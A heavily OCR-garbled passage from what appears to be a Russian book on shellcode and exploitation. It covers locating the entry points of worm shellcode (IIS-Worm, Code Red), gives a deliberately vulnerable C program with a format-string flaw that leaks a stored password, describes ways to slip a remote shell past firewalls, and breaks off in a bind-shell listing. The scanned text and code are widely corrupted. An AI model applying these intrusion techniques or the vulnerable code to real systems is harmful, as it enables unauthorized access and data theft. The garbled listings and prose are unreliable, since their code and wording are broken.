исследователей либо в виде дампа памяти пораженной машины- л вТОм"'"! отрубленной головы, либо... в виде исходного кода, опубликованного ином e-zin’e.
Секреты проектирования shell-кода_________________________________________ Казалось бы, наличие исходного кода просто не оставляет места для вопросов. \п пет! Вот перед нами лежит фрагмент исходного текста червя IlS-Worm . shell-кодом внутри (листинг 4.39). Листинг 4.39. Фрагмент исходного кода червя ,чаг sploitU « { Л47. 0x45 . 0x54 . 0x20 . 0x2F. 0x41. 0x41. 3x41. 0x41. 0x41. 0x41. 0x41. 0x41. 0x41, 0x21. 0x21. 0x21. 0x21. 0x21. 0x21. 0x21, 9x21. 0x21. 0x21. 0x21. 0x21. 0x21. 0x21. 0х2Е. 0x68 . 0x74 . 0x72 . 0x20 . 0x48 . 0x54. 0x54. 0x50. 0x2F. 0x31. 0х2Е. 0x30. 0x0D. ЗхОА. 0x00.ОхОА }; Попытка непосредственного дизассемблирования shell-кода пи к чему хоро- шему не приведет, поскольку голова червя начинается со строки "GET / АААААААААААААААААА..." ни в каком дизассемблировании вообще не нуждающей- ся. С какого байта начинается актуальный код — доподлинно неизвестно. Для определения действительного положения точки входа необходимо «скормить» голову червя уязвимому приложению и посмотреть: куда метнется регистр EIP. Это (теоретически!) и будет точкой входа. Практически же это отличный способ убить время, но не более того. Начнем с того, что отладка - опасный и неоправданно агрессивный способ ис- следования. Экспериментировать с «живым» сервером вам никто не даст, и уяз- вимое программное обеспечение должно быть установлено на отдельный ком- пьютер, на котором пет ничего такого, что было бы жалко потерять. Причем это должна быть именно та версия программного обеспечения, которую вирус в со- стоянии поразить, ничего не обрушив, в противном случае управление полу- чит отнюдь не истинная точка входа, а неизвестно что. Но ведь далеко не каж- 11>чн исследователь имеет в своем распоряжении «зоопарк» программного юеспечения различных версий и кучу операционных систем! К тому же далеко не факт, что нам удастся определить момент передачи управле- |||я shell-коду. Тупая трассировка здесь не поможет, - современное программ- на обеспечение слишком громоздко, а передача управления может осуществ- чяться спустя тысячи, а то и сотни тысяч машинных инструкций, выполняемых, 'том числе, и в параллельных потоках. Отладчиков, способных отлаживать не- колько потоков одновременно, насколько мне известно, не существует (во вся- -ом случае, они не были представлены на рынке). Можно, конечно, установить •исполняемую» точку останова на регион памяти, содержащий в себе принима- ющий буфер, но это не поможет в тех случаях, когда shell-код передается по це- чочкебуферов, лишь один из которых подвержен переполнению, а остальные — "юлне нормальны. вместе с тем определить точку входа можно и визуально. Просто загрузите 'hell-код в дизассемблер и, перебирая различные стартовые адреса, выберите il:1 них тот, что дает наиболее осмысленный код. Эту операцию удобнее всего
164 Глава 4. Ошибки переполнения буфера извне и осуществлять в HIEW'c или любом другом hcx-редакторе с аналогичны^ можностями (IDA для этих целей все же недостаточно «подвижна») pv готовы к тому, что основное тело shell-кода окажется зашифровано и ocity' ленным останется только расшифровщик, который к тому же может бытьра! мазан по всей голове червя и умышленно «замусорен» ничего не значащи^ инструкциями. Если shell-код передает на себя управление посредством JMP ESP (как чащеВсе го и происходит), тогда точка входа переместится на самый первый байт го^ вы червя, то есть на строку ’’GET /АААААААААМААААААА...", а отнюдь не на нервы, байт, расположенный за ее концом, как это утверждают некоторые руковод. ства. Именно так устроены черви CodeRed 1,2 и IIS_Worm. Значительно реже управление передастся в середину shell-кода. В этом случае стоит поискать цепочку NOP’ob, расположенную в окрестностях точки входа и используемую червем для обеспечения «совместимости» с различными вер сиями уязвимого ПО (при перекомпиляции местоположение переполняюще- гося буфера может меняться, но нс сильно, вот ЫОР’ы и выручают, играя ту же роль, что и воронка при вливании жидкости в бутылку). Другую зацепку дает опять-таки расшифровщик. Если вы найдете расшифровщик, то найдете и точ- ку входа. Можно также воспользоваться визуализатором IDA типа «flowcharts», отображающим потоки управления, чем-то напоминающие добротную гроздь винограда с точкой входа в роли черепка (см. рис. 4.3,4.4). Рассмотрим достаточно сложный случай — самомодифицирукяцуюся голову червя Code Red, динамически изменяющую безусловный JMP для передачи управления на тот или иной участок кода. Очевидно, что IDA не сможет авто- матически восстановить все перекрестные ссылки и часть функций «зависнет». отпочковавшись от основной грозди, в результате чего мы получим четыре пре- тендента на роль точек входа. Три из них отсеиваются сразу, так как содержат бессмысленный код, обращающийся к неипициализированным регистрам и пе- ременным. Осмысленный .код дает лишь истинная точка входа — на диаграмм*’ (рис. 4.3) она расположена четвертой слева. Сложнее справиться с проблемой «привязки» shell-кода к окружающей еп> среде обитания, например к содержимому регистров, доставшихся червю уязвимой программы. Как узнать, какое они принимают значение, необраП1а ясь к уязвимой программе? Ну, наверняка-то сказать невозможно, по в давляющем большинстве случаев это можно просто угадать. Точнее, проа11а лизировав характер обращения с последними, определить, что именно оЖ11'{ofI. червь от них. Маловероятно, чтобы червь закладывался на те или иные станты. Скорее всего, он пытается ворваться в определенный блок па^ыц. указатель на который и хранится в регистре (например, в регистре ЕСХ < по хранится указатель this). Хуже, если вирус обращается к функциям уязвимой программы, В1,|31,|В‘1^[1|Я ио фиксированным адресам. Нопробуй-ка, догадайся, за что каждая фУнь ()С отвечает! Единственную зацепку дают передаваемые функции apryb’^J^p эта зацепка слишком слабая для того, чтобы результат исследовании •
165 10цазватьдостовсрпым bi без дизассемблирования самой уязвимой пршрам- , ИССЬ ЦО обойтись. Ml’1 Ку, ,м СКазать, что ламп, с<5рошенн ый операционной системой в ответ на ата- ку qt ei 11 не содержать в себе никаких объектов для исследований, посколь- УДала^Ше,1Ис системы недвусмысленно указывает на тот факт, что атака не Ичц 1 Червь, вместо строго дозированного переполнения буфера, уничто- ,ЗНе,Ню важные структуры данных. Тем не менее, действуя по методи- fnCT |,са,<ным в приложении А, «Практические советы по восстановлению а ^11lbU’ Мь| СМОжс-м разгрести этот мусор и локализовать голову червя. Ну е ~ ДеЛо техники.
Рис. 4.4. Визуализатор IDA, отображающий потоки управления в форме диаграммы (крупным планом) УЯЗВИМОСТЬ СТРОКИ СПЕЦИФИКАТОРОВ Машинная программа выполняет то, что вы ей приказа- ли делать, а не то, что бы вы хотели, чтобы она делала. Третий закон Грида Повторюсь, у разработчиков существует шутливое высказывание «Программ без ошибок не бывает. Бывает — плохо искали». Пример программы, приведен- ной ниже, позволяет убедиться, насколько эта шутка бывает близка к истине. На первый (и даже на второй!) взгляд здесь нет ни одной ошибки, способной привести к несанкционированному вторжению в систему (листинг 4.40). Использование функции fgets надежно защищает от угрозы переполнения бу фера, а все строки гарантированно умещаются в отведенные им буфера. Три виалыюсть и типичность кода создает обманчивую иллюзию, что ошибиться здесь просто негде (обработка ошибок чтения из файла для простоты опун1ена' и заранее оговаривается, что используются стандартные библиотеки и ооы4 ный, а не какой-то там специальным образом модифицированный компилятор Листинг 4.40. Пример, демонстрирующий уязвимость строки спецификаторов #include <string.h> void main()
Гекрбты проектирования shell-кода 167 FILE *psw: char buff[32]: char user[16]: char pass[16]: char _pass[16]: printfl"printf bug demo\n"): if (!(psw=fopen("buff.psw"."r"))) return: fgets(&_pass[O],8.psw): printfl"Login;"):fgets(8user[0].12.stdin): printf("Passw:"): fgetst&passLO].12.stdin): if (strcmpt&passLO].&_pass[0D) spmntf(&ouff[0]. "Invalid password: Its”.&pass[0J): else sprintf(8buff[0],"Password ok\n"): printf(&buff[OD: Неуловимость допущенной ошибки объясняется психологической инерцией мышления: вместо тщательного анализа кода к нему последовательно приме- ряются типовые штампы и шаблоны. Если ни один из них не подходит — про- грамма считается защищенной. Комизм ситуации заключается в том, что неко- торые вещи настолько привычны, что перестают обращать на себя внимание, н мысль проверить их просто не приходит в голову. Один из недостатков языка Си заключается в отсутствии штатных механизмов подсчета количества аргументов, переданных функции. Поэтому функциям с пе- ременным числом аргументов приходится самостоятельно определять, сколь- ко параметров находится в их распоряжении. Для решения этой задачи функ- ция printf использует специальную управляющую строку, которая состоит из служебных комбинаций символов — спецификаторов. Спецификаторы описы- вают тип и количество аргументов. Каждому из спецификаторов должна соот- ветствовать «своя» переменная, но что произойдет, если такое равновесие на- рушится?' Когда спецификаторов меньше, чем переменных, ничего скверного не происхо- дит, поскольку в языке Си аргументы удаляются из стека не самой функцией, а вызывающим ее кодом (который уж наверняка знает, сколько аргументов было передано). Поэтому разбалансировки стека не происходит и все работает нор- мально, за исключением того, что отображаются не все указанные переменные Но если спецификаторов окажется больше, чем переданных переменных, то при попытке извлечь из стека очередной аргумент произойдет обращение к «чужим» данным, находящимся в этой области стека! 1 Здесь и далее первый аргумент функции printf называется «строкой спецификаторов», а все по- следующие <<перемеиными»
168 Глава 4. Ошибки переполнения буфера извне и изну^ Такую ситуацию позволяет продемонстрировать следующий врпме "main(){int a=0xa;int b=0xb;printf(4x Ях\п".а):}", в котором присутствуетодИ|1 «беспарный» спецификатор "1х". Поскольку содержимое стека на момент ВЬ1 зова функции printf зависит от используемого компилятора, поведение данно- го кода неопределенно. Например, результат работы программы, полученной с помощью Microsoft Visual C++ 6.0, выглядит так: "а Ь". Функция вывела два числа, несмотря на то, что ей передавали всего одну 11Сре менную а. Каким же образом она сумела получить содержимое переменной [р Ответ на Этот вопрос дает дизассемблирование машинного кода программы в результате которого удается установить содержимое стека на момент вызова функции printf (листинг 4.41). Листинг 4.41. Содержимое стека на момент вызова printf off аХХ ("Ях Хх") (строка спецификаторов) var_4 ("а”) (аргумент функции printf) var_8 Cb") (локальная переменная) var_4 Са") (локальная переменная) Жирным шрифтом выделены аргументы, переданные функции. Но сама функ- ция не может определить их точное количество, поэтому она извлекает из вер- хушки стека указатель на строку спецификаторов и приступает к ее анализу. Встретив соответствующую комбинацию символов, функция извлекает из сте- ка очередной аргумент, и так продолжается до тех пор, пока не исчерпаются все спецификаторы. Для поддержки функций с переменным количеством аргументов в языке Си был принят обратный порядок заталкивания параметров в стек, то есть самый левый аргумент заносится в последнюю очередь и оказывается на верхушке сте- ка. Было бы замечательно, если бы компилятор напоследок передавал функ- ции число используемых аргументов или, ио крайней мере, сообщал их сум- марный размер (тем более что технически в этом нет ничего затруднительного). Ноувы! Разработчики языка не регишзовали такой механизм, и отсюда следует неутешительное заключение о принципиальной невозможности защиты содер- жимого стека материнской функции. Дочерняя функция может беспрепятствен- но обращаться к любой ячейке стека — от верхушки до самого низа, читая как «свои», так и «чужие» данные. При вызове "printfC'lx Хх\п”,а)" функция извлекает из стека на одно слов0 больше, чем ей было реально передано, в результате чего происходит вторже' ние в область памяти, занятой локальными переменными материнской фУ||К ции. Переменная b принимается за аргумент функции и выводится на экрав (В зависимости от используемого компилятора в заданном месте стека М0ЖеГ оказаться все что угодно, например, переменная а, значения регистров об1ИеГ" назначения, «черная дыра» — область памяти, отведенная для выравнива11*1 данных и т. д.) По идее программист должен следить за тем, чтобы каждому спецификатор' соответствовала «своя» переменная, однако в некоторых ситуациях отсл'тств111
169 ^^проектирования shell-кода оГо из аргументов не приводит к нарушению работоспособности нрограм- 1,5, дун происходит в тех случаях, когда пропущенная переменная оказывает- 511>на верхушке стека, что не так уж и маловероятно. По ошибка может иеожи- СЯ но проявиться при переходе на другой компилятор, поскольку порядок 13 ючоженпя локальных переменных нигде не задекларирован и каждый ком- I1' ,|{1ГОр группирует их по-своему (вовсе не факт, что переменные всегда рас- полагаются в памяти в порядке их объявления в программе). о сиучаях, когда функция printf используется для вывода единственной символьной строки, строку спецификаторов обычно опускают, то есть вместо printf ("*s", &buff[0])" пишут "printf(&buff[O])". На первый взгляд обе фор- мы записи равносильны, но это не так! Самый левый аргумент всегда проверя- ется функцией printf на наличие спецификаторов, даже если он передан функ- ции в единственном числе. Поэтому использовать его для вывода строки можно в том п только в том случае, когда она гарантированно не содержит никаких «внеплановых» спецификаторов, в противном случае работа приложения ока- жется нестабильной. Особенно опасно полагаться па отсутствие спецификато- ров в данных, введенных пользователем, и недопустимо передавать их функ- ции printf в первом слева аргументе. Возможные последствия такого подхода позволяет продемонстрировать про- грамма, приведенная в начале главы: если злоумышленник введет вместо паро- ля один или несколько спецификаторов, на экране появится содержимое ло- кальных переменных, в том числе и буфера, хранящего эталонный пароль. Компилятор Microsoft Visual C++ 6.0 располагает этот буфер на вершине стека и просмотреть его можно следующим образом (предполагается, что файл buff.psw" содержит строку "K98PN*'') (листинг 4.42). Листинг 4.42. Подглядывание секретного пароля bug demo L3Sm.-kpnc rvalid заssword: 5038394b a2a4e 2f4968 n расшифровки ответа программы необходимо перевернуть каждое двойное ^10в°, поскольку в микропроцессорах Intel младшие байты располагаются по Шим адресам. В результате этого получается следующее (рис. 4.5). «магическом программировании»?
170 Глава 4. Ошибки переполнения буфера извне и изнутри Перевод шестнадцатеричных значений в символьное представление сопряжеп с определенными неудобствами, но использование спецификатора 4s" прцВе. дет не к выводу строки в удобочитаемом виде, а к аварийному завершению прц. ложения. Такое поведение объясняется тем, что, встретив спецификатор "х$" функция printf ожидает увидеть указатель на строку, но не саму строку. В ре. зультате происходит обращение по адресу 5038384Bh("K98PN" в символьном пред, ставлении), который находится вне пределов досягаемости программы, что и вы- зывает исключение. Спецификатор "Xs" пригоден для отображения содержимого указателей, ссы- лающихся на строки или другие «читабельные» структуры данных. Его исполь- зование продемонстрировано в следующем примере (листинг 4.43). Листинг 4.43. Пример, демонстрирующий использование спецификатора %s ^include <stdio.h> tfinciude <strlng.h> #include <ma'!loc.h> void malnO { FILE *f; char *pass: char *_pass: pass= (char *)malloc(100): _pass=(char *)malloc(100): if (!(f=fopen("buff.psw"."r”))) return: fgets(_pass.lO0.f); _pass[strIen(_pass)-l]=O: printf("Passw:“);fgets(pass.100.stdin): pass[strlent pass)-l]=0: // Код. проверяющий истинность пароля, введенного пользователем. // для упрощения понимания опущен printf(pass): На этот раз буфер, хранящий эталонный пароль, размещен не в стеке, а в ку^ области памяти, выделенной функцией mall ос. В самом же стеке никаких ретпых данных уже не содержится. Но это никак не усиливает затишен программы, поскольку вместо самого буфера в стеке расположен указа!?- него. Даже перенос указателя в глобальную переменную не смог бы ciiaiTI ложения, но об этом немного позднее. В приведенном примере указатель pass оказался расположен па ка, поэтому использование спецификатора "Xs” приводит к вы эталонного пароля, в чем позволяет убедиться следующий эксперимент колу на Passw:Xs K98PN* гП,сН1"' Используя спецификатор "Xs”, необходимо доподлинно знать, в како-м^(^р.‘ месте стека находится искомый указатель. В противном случае проИЗОИД
171 Секреты проектирования shell-кода щениек незапланированной области памяти. Большинство локальных перемен- ных, находящихся в стеке, содержат значения, не превышающие 40000h', поэто- му попытка использовать их в качестве указателя под операционной системой Microsoft Windows NT приведет к исключению. Злоумышленник может исполь- зовать эго обстоятельство для блокирования вычислительных систем пли на- рушения их нормальной работы. Можно ли предотвратить угрозу раскрытия секретной информации переносом критичных к разглашению данных из стека в глобальные переменные? Прежде чем ответить на этот вопрос, необходимо заметить, что в некоторых операцион- ных системах стек, данные и код программы находятся в одном и том же сег- менте, поэтому механизмы получения содержимого локальных и глобальных переменных в таких случаях идентичны друг другу. Поэтому, если специаль- ным образом не оговорено, на какой именно платформе будет выполняться раз- рабатываемая программа, бессмысленно спрашивать, каким образом влияет на ее защищенность использование глобальных переменных. Операционная система Microsoft Windows NT выделяет каждому' процессу не- прерывный регион адресного пространства, в котором уживаются код, данные и стек выполняющегося приложения. Поэтому теоретически возможно «дотя- нуться» до любой ячейки памяти и «подсмотреть» ее содержимое. Однако на практике осуществлению такой операции препятствует ограничение длины вводимой строки. Потребовалось бы ввести миллионы спецификаторов, преж- де чем удалось бы достичь области памяти, занятой локальными переменными. Никакое приложение не допускает использование строк такой длины. Зло- умышленник чаще всего ограничен не более сотни-другой символов, что по- зволяет просмотреть ему приблизительно четыреста-пятьсот байт содержимо- го стека2. Попадание секретных данных в столь нспротяженную область настолько маловероятно, что трудно найти хотя бы одно приложение, подвер- женное подобной атаке. Однако существует механизм, позволяющий прочитать содержимое практи- чески любой ячейки памяти независимо от ее местоположения (разумеется, при условии, что приложение обладает правами на ее чтение). Если строка, введенная пользователем, помещается в стек (а именно так чаще всего и про- исходит), существует возможность «вручную» сформировать требуемый ука- затель и затем вывести строку, па которую он ссылается посредством специ- фикатора "2s". Поскольку некоторые символы невозможно ввестпс клавиатуры, то на искомый Указатель наложены некоторые ограничения. В частности, он не должен содер- жать ни одного нуля, так как стандартные библиотеки языка Си интерпретируют Ноль как символ завершения строки. Но некоторые ухищрения позволяют обой- ™ эти препятствия: злоумышленник может использовать в качестве старшего ; ®аз°вый адрес загрузки большинства приложений равен 0x400000. ^«•Фикатор “%Г «съедает» восемь бант, но сам занимает два банта, таким образом, в ста бантах ®°4ИмоЙ строки .можно расположить нс более пятидесяти спецификаторов “%Г. которые выве- ЛУТ Бреста байт.
Глава 4. Ошибки переполнения буфера извне и ---------------—-внутри 172 байта указателя ноль, завершающий строку1, или косвенно воздейство^ содержимое стека различными способами. На Таким образом, существует принципиальная возможность получения д;1111| памяти атакуемой программы, что позволяет злоумышленнику чроанализ,^ вать систему защиты или по крайней мере выяснить, какое именно програк1Х) ное обеспечение использует жертва и что за «заплатки» у нее установлены Описанную выше уязвимость можно было бы отнести к забавным курьер если бы она ограничивалась одной лишь функцией printf. Но функции с пере- мепным количеством аргументом — не редкость в программистской практике и многие из них используют ненадежные алгоритмы определения числа пере- данных параметров. Кроме того, существует множество «швейцарских» функ- ций многоцелевого назначения. Например, функция open языка Perl в зависи- мости от символов, содержащихся в имени файла, может не только открывать файлы, ио и запускать другие приложения, клонировать манипуляторы, выда- вать содержимое директории и т. д. Поэтому при разработке защищенных приложений необходимо с особой тща- тельностью подходить к проектированию функций, принимающих различное количество аргументов (или аргументы различного вида). В некоторых Си-ком- пиляторах встречается нестандартная функция nargs, которая возвращает ко личество машинных слов, занесенных в стек перед вызовом функции. Ее ис- пользование связано с рядом щекотливых тонкостей, незнание которых не позволяет создавать надежно работающие приложения. Достаточно очевидно, что число переданных аргументов может быть не равно количеству занесенных в стек машинных слов, но вовсе не факт, что размер машинного слова равен размеру машинного слова. Такая путаница объясняет- ся тем, что термин «машинное слово» в одних случаях равен разрядности про- цессора, а в других приравнивается к двум байтам. Поэтому использование nargs порождает совершенно непереносимый код, работоспособность которого мо- жет быть нарушена даже изменением некоторых опций компилятора! Некоторые разработчики предлагают собственный вариант реализации nargs. который сводится к следующему алгоритму: из стека извлекается адрес возврат из функции, и, исходя из предположения, что он указывает на команду наподо- бие ADD ESP, хх, производится попытка определить значение хх, равное коЛН,|С' ству байт, помещенных в стек перед вызовом функции. Недостатки такого при- ема следующие: он не переносим на отличные от Intel 80x86 платформ1»1- современные компиляторы ведут себя не так, как пять-десять лет назад и гене- рируют чрезвычайно запутанный код, допускающий дисбаланс стека панеко тором промежутке, отчего процедура анализа количества переданных функШ111 аргументов по сложности приближается к самому компилятору. Иногда можно встретить рекомендации последним аргументом переДаваТ1’ функции нулевой указатель, позволяющий определить количество испоДЬ3Уе Тем самым он откроет доступ к коду и данным 32-разрядных приложений, исполняющим»1 111' управлением операционной системы Windows NT, поскольку большинство из них располо*'1’11' в памяти но адресу выше 0x00401000.
173 ^^проектирования shell-кода параметров. Однако такое решение приемлемо лишь в том случае, если все '1Ь,Х,1Ьныс аргументы никогда не обращаются в ноль, а это условие выполнимо 1Hicko не всегда. Существует и другой вариант — вручную подсчитывать чис- "k) аргументов и через специальный параметр передавать их функции. Но это 1qiniiK°M утомительно, да и ненадежно. Таким образом, на языке Си принципиально невозможно создание функций г переменным количеством аргументов, которые бы корректно работали во всех с1учаях, независимо от значений переданных им параметров. Поэтому все не- обходимые проверки должны быть выполнены до вызова таких функций, ина- че поведение приложений может оказаться нестабильным и потенциально уяз- вимым. ЧТО ЧИТАТЬ UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes Великолепное руководство но написанию shell-кодов для различных кло- нов UNIX с большим количеством примеров, работающих практически па всех современных процессорах, а пе только на х86. http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/bh-usa-01/LSD/bh- usa-01-lsd.pdf Win32 Assembly Components Еще одно великолепное руководство по написанию shell-кодов, на этот раз ориентированное на семейство NT/x86. http://www.lsd-pl.net/documents/winasm-1.0.1.pdf Win32 One-Way Shallcode А это... прямо пе знаю, как и сказать... это просто супер! Богатейший кладезь информации, охватывающий все аспекты жизнедеятельности червей, оби- тающих в среде NT/x86, да и не только их... http://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-chong.pdf SPARC Buer Overows Конспект лекций по технике переполнения буферов на SPARCax под UNIX. http://www.dopesquad.net/security/defcon-2000.pdf Writing MIPS/IRIX shellcode Руководство по написанию shell-кодов для MIPS/IRIX. http://teso.scene.at/articles/mipsshellcode/mipsshellcode.pdf
ГЛАВА 5 Internet ПОБЕГ ЧЕРЕЗ БРАНДМАУЗЕР ПЛЮС ТЕРМИНАЛИЗАЦИЯ ВСЕЙ NT, к концу которой выясняется, что брандмаузер не такая уж и надежная штука ...в этой главе рассматриваются различные методики обхода брандмаузеров с целью организации на атакуемом компьютере удаленного терминального shell'a, работающего под операционными системами UNIX и Windows 9x/NT. Здесь вы найдете передовые хакерские методики, свободно проникающие че- рез любой, абсолютно любой брандмаузер, независимо от его архитектуру степени защищенности и конфигурации, а также свободно распространяемый пакет демонстрационных утилит, предназначенный для тестирования вашего брандмаузера на предмет его защищенности (или же отсутствие таковой)- Первый этап работы над составлением программь! шумиха. Второй — неразбериха. Третий — поиски виноватых. Четвертый — наказание невиновных. Пятый — награждение непричастных. Из фольклора программ^ др Проникнув на уязвимый компьютер, голова червя должна установить ТС?/ * (или UDP) соединение с исходным узлом и подтянуть своеосновноетело
что е№Кет и чег0 не может брандмаузер___________________________175 же называемое «хвостом»). Аналогичной методики придерживаются и хакеры, заСыдаюШ11С на атакуемый компьютер диверсионный эксплоит, срывающий стек и устанавливающий удаленный терминальный shell, взаимодействующий с уз- г|оМ атакующего посредством того же самого TCP/IP, и в этом контексте меж- ду червями и хакерами нет никакой принципиальной разницы (нередко уста- новка backdoor’a с помощью червей и осуществляется). На пути червя может оказаться недружелюбно настроенный брандмаузер (он же брандмауэр, он же firewall). Ну, знаете, это такая штука, призванная отсе- кать всяких идиотов, отравляющих нормальным пользователям жизнь. Бранд- маузеры сейчас в моде и без них не обходится практически ни одна уважающая себя корпоративная сеть. Да что там сеть — они и на домашних компьютерах уже не редкость. Между тем слухи о могуществе брандмаузеров очень сильно преувеличены и в борьбе с червями они до ужаса неэффективны. Хотите узнать почему? Тогда читайте эту главу до конца! ЧТО МОЖЕТ И ЧЕГО НЕ МОЖЕТ БРАНДМАУЗЕР Брандмаузер может наглухо закрыть любой порт, выборочно или полностью блокируя как входящие, так и исходящие соединения, однако этот порт не мо- жетбыть портом действительно нужной публичной службы, от которой нельзя отказаться. Если вы имеете собственный почтовый сервер, в обязательном по- рядке должен быть открыт 25-й SMTP порт (а иначе как прикажете корреспон- денцию получать?). Соответственно, наличие публичного web-сервера предпо- лагает возможность подключения к 80-иорту из «внешнего мира». Допустим, что одна или несколько таких служб содержат уязвимости, допуска- вшие возможность переполнения буфера со всеми вытекающими отсюда по- следствиями (захват управления, несанкционированная авторизация и т. Д.). Тогда никакой, даже самый продвинутый, брандмаузер не сможет предотвра- тить вторжение, поскольку пакеты с диверсионным shell-кодом на сетевом уров- Не неотличимы от пакетов с легальными данными. Исключение составляет по- иск и отсечение головы вполне конкретного червя, сигнатура которого наперед известна брандмаузеру. Однако наложение заплатки на уязвимый сервис будет намного более эффективным средством борьбы (случай, когда червь опережает ^Ку, МЫ Ие РассматРиваем’ поскольку ни один червь, выловленный в жи- 6 пРироде, такой оперативностью похвастаться не может). Кстати говоря, ат НдМаузер и сам по себе представляет довольно соблазнительный объект для з и (некоторые из них содержат переполняющиеся буфера, допускающие ^Ват Управления). iinekaK бы там ни было, срыву буфера уязвимой службы брандмаузер никак не П0ТеЯТс’Гвует. Единственное, что он может сделать — это свести количество Субпиальных дыр к разумному минимуму, закрыв порты всех служб, не тре- Доступа извне. В частности, червь Love San, распространяющийся Сз Редко используемый 135-й порт, давно и небезуспешно отсекается
176 Глава 5. Побег через брандмаузер плюс терминализация вСе^ брандмаузерами, стоящими на магистральных Интернет-каналах, владельцы торых посчитали, что лучше слегка ограничить своих пользователей в пра^0 чем нести моральную ответственность за поддержание всякой заразы. Одн ^ в отношении червей, распространяющихся через стандартные порты гюнуп1^1 ных сетевых служб, этот прием не срабатывает, и брандмаузер беспрепятстве но пропускает голову червя внутрь корпоративной сети (рис. 5.1). Рис. 5.1. Распределение интенсивности атак на различные порты по регионам Но забросить shell-код на вражескую территорию — это только половинадела. Как минимум, еще потребуется протащить через все межсетевые заслоны ос- новное тело червя (то есть хвост), а как максимум — установить терминальный backdoor shell, предоставляющий атакующему возможность удаленного управ- ления захваченной системой. Можетли брандмаузер этому противостоять? Если он находится на одном узле с атакуемым сервером и shell-код исполняется с наивысшими привилегиями, то атакующий может делать с брандмаузером все, что ему только заблагорассу- дится, в том числе и изменять его конфигурацию на более демократичную. Эт<л случай настолько прост, что его даже неинтересно рассматривать. Давайте луч ше исходить из того, что брандмаузер и атакуемый сервис расположены на раз личных узлах, причем сам брандмаузер правильно сконфигурирован и лит0’ каких бы то ни было уязвимостей. Самое простое (и самое естественное!) — поручить shell-коду открыть на ата кованном узле новый, заведомо никем не использованный порт (например, л 1 666), и терпеливо ждать подключений с удаленного узла, осуществляют засылку основного вирусного кода. Правда, если администратор системы полный лох, все входящие соединения на все непубличные порты будут без ? лостно отсекаться брандмаузером. Однако атакующий может схитрить и nt нести серверную часть червя на удаленный узел, ожидающий подключении^ стороны shell-кода. Исходящие соединения блокируются далеко не на брандмаузерах, хотя в принципе такая возможность у администратора есть- грамотно спроектированный червь не может позволить себе закладываться
177 0 можети чег0 не может брандмаузер азГцльдяйСТВ0 и попустительство администраторов. Вместо установки ново- Р тСр/1Р-соединения он должен уметь пользоваться уже существующим — тем через котоР°е и была осуществлена засылка его головы. В этом случае бран- маузер будет бессилен что-либо сделать, так как с его точки зрения все будет Д цлядеть ажурно. Откуда же ему, бедолаге, знать, что вполне безобидное с ви- ду н легальным образом установленное TCP/IP-соединение обрабатывает от- нюдь не сервер, а непосредственно сам shell-код, поселившийся в адресном про- странстве последнего? Существует несколько путей захвата ранее установленного ТСР/1Р-соедине- ния (если кто раньше читал мои статьи, датированные годом эдак 1998, то там я называл это «передачей данных в потоке уже существующего TCP/IP-соеди- нения», но этот термин не прижился). Первое и самое глупое — обратиться к пе- ременной дескриптора сокета по фиксированным адресам, специфичным для данного сервера, которые атакующий может получить путем его дизассембли- рования. Такой способ не выдерживает никакой критики и здесь он не рассмат- ривается (тем не менее знать о его существовании будет все-таки полезно). Уж лучше прибегнуть к грубой силе, перебирая все возможные дескрипторы сокетов один за другим и тем или иным образом определяя, какой из них заве- дует «нашим» TCP/IP-соединением. Поскольку в операционных системах се- мейства UNIX п Windows 9x/NT дескрипторы сокетов представляют собой вполне упорядоченные и небольшие по величине целочисленные значения (обычно заключенные в интервале от 0 до 255), их перебор займет совсем не- много времени. Как вариант можно повторно использовать адрес, сделав re-bind на открытый уязвимым сервером порт. Тогда все последующие подключения к атакованному узлу будут обрабатываться отнюдь не прежним владельцем порта, а непосредственно самим shell-кодом (неплохое средство перехвата сек- ретного трафика, а?). Как вариант — червь может прибить атакуемый процесс, автоматически осво- °ождая все отрытые им порты и дескрипторы. Тогда повторное открытие уяз- вимого порта не вызовет никаких протестов со стороны операционных систе- мы. Менее агрессивный червь не будет ничего захватывать, никого убивать и вообще что-либо трогать. Он просто переведет систему в «неразборчивый» Режим, прослушивая весь проходящий трафик, с которым атакующий передаст Ставшийся хвост (кстати говоря, такая связь называется «пейджиноговой»). ВНИМАНИЕ —----------------------------------------------------------- Никакой, даже самый совершенный и правильно сконфигурированный брандмаузер не защитит вашу сеть (и уж тем более — домашний компьютер) ни от червей, ни от опыт- ных хакеров. Это, разумеется, не означает, что брандмаузер совершенно бесполезен, но убедительно доказывает, что приобретение брандмаузера еще не отменяет необходи- мости регулярной установки свежих заплаток. Н;| закуску: если ICMP-протокол хотя бы частично разрешен (чтобы пользо- Тели внешней сети не доставали администратора глупыми вопросами, по- У умирает tracert и не разботает ping), shell-код может запросто обернуть
178 Глава 5. Побег через брандмаузер плюс терминализация всей цу свой хвост ICMP-пакетами! В самом крайнем случае червь может послать свое тело и в обычном электронном письме (конечно, при условии, что ему удаст_ ся зарегистрировать на почтовом сервере новый ящик или похитить пароли одного или нескольких пользователей, что при наличии sniffer’a не является проблемой). УСТАНАВЛИВАЕМ СОЕДИНЕНИЕ С УДАЛЕННЫМ УЗЛОМ Сейчас мы рассмотрим пять наиболее популярных способов установки ТСР/ IP-соединения с атакуемым узлом, два из которых легко блокируются бранд- маузерами, а оставшиеся три представляют собой серьезную и практически неразрешимую проблему. Для осуществления всех описываемых в главе экспериментов вам пона- добится: • утилита netcat, которую легко найти в Интернете и которая у каждого ад- министратора всегда должна быть под рукой; • локальная сеть, состоящая как минимум из одного компьютера; • любой симпатичный вам брандмаузер; • операционная система типа Windows 2000 или выше (все описываемые тех- нологии прекрасно работают и на UNIX, но исходные тексты демонстраци- онных примеров ориентированы именно на Windows). Итак... BIND EXPLOIT, ИЛИ «ДЕТСКАЯ» АТАКА Идея открыть на атакованном сервере новый порт может «осенить» разве чго начинающего хакера, не имеющего реального опыта программирования соке тов и не представляющего насколько этот способ нежизнеспособен и уязвим- Тем не менее многие черви именно так и распространяются, поэтому иМееТ смысл поговорить об этом поподробнее (рис. 5.2). Программная реализация серверной части shell-кода совершенно тривиален н в своем каноническом виде состоит из следующей последовательности темных вызовов: socket к bind к listen к accept, организованных приблизите^ следующим образом (листинг 5.1). Листинг 5.1. Ключевой фрагмент shell-кода, открывающего на атакуемом сервере новый порт #define HACKERSJWI 666 // пор’, который эксплоит будет сгЯйть // шаг I: сознаем сокет if iflsocket = socket(AF_INFT. SOCK_STREAM. С)) < 0) return -1: // шаг 2: связываем сокег 